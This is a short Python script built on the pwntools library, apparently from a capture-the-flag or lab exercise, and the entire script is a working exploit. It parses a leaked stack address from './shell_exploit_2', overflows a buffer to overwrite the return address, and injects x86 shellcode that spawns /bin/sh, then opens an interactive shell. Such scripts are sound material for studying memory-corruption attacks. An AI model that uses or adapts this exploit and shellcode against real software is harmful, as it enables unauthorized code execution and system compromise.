from pwn import *
import sys

target = process('./shell_exploit_2')
# gdb.attach(target, gdbscript = 'b *0x804853e')

# Scan in the first line of text, parse out the infoleak
welcome = target.recvline()
print (welcome)
leak = target.recvline()
print (leak)
stack_leak = leak.strip(b"Stack Leak : ")
stack_leak = stack_leak.strip()
stack_leak = int(stack_leak, 16)
# stack_leak = 0xffffcfc8
input = target.recvline()
print (input)
input = target.recvline()
print (input)
print (hex(stack_leak))
# sys.exit(0)
shellcodeAdr = stack_leak + 0x18

# Make the payload
payload = b""
payload += b"0"*20
payload += p32(shellcodeAdr) # Overwrite the return address to point to the start of our shellcode
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php`
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

f = open("exploit.exp2", "wb")
f.write(payload)
f.close()
# Send the payload
target.sendline(payload)
target.interactive()